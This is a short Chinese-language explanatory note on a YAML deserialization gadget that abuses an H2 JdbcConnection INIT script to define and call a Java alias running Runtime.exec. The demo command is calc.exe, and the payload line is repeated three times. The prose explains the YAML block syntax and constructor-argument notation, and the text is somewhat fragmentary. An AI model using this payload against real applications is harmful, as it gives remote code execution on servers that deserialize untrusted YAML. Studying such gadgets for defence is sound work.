!!org.h2.jdbc.JdbcConnection -jdbc:h2:mem:test -MODE:MSSQLServer INIT:| drop alias if exists exec; CREATE ALIAS EXEC AS $$void exec() throws Exception {Runtime.getRuntime().exec("calc.exe");}$$; CALL EXEC (); -a -b -false
!!org.h2.jdbc.JdbcConnection -jdbc:h2:mem:test -MODE:MSSQLServer INIT:| drop alias if exists exec; CREATE ALIAS EXEC AS $$void exec() throws Exception {Runtime.getRuntime().exec("calc.exe");}$$; CALL EXEC (); -a -b -false
INIT后面的 | 是干什么的?
这个代表多行文本块,就是把后面的内容都视为一个整体。这样写看起来会更清晰。
调构造方法
多行时,- 后代表构造函数参数;单号时[]内代表参数
多行
还是上面的例子:
1 2 3 4 5 6 7 8 9 10
!!org.h2.jdbc.JdbcConnection -jdbc:h2:mem:test -MODE:MSSQLServer INIT:| drop alias if exists exec; CREATE ALIAS EXEC AS $$void exec() throws Exception {Runtime.getRuntime().exec("calc.exe");}$$; CALL EXEC (); -a -b -false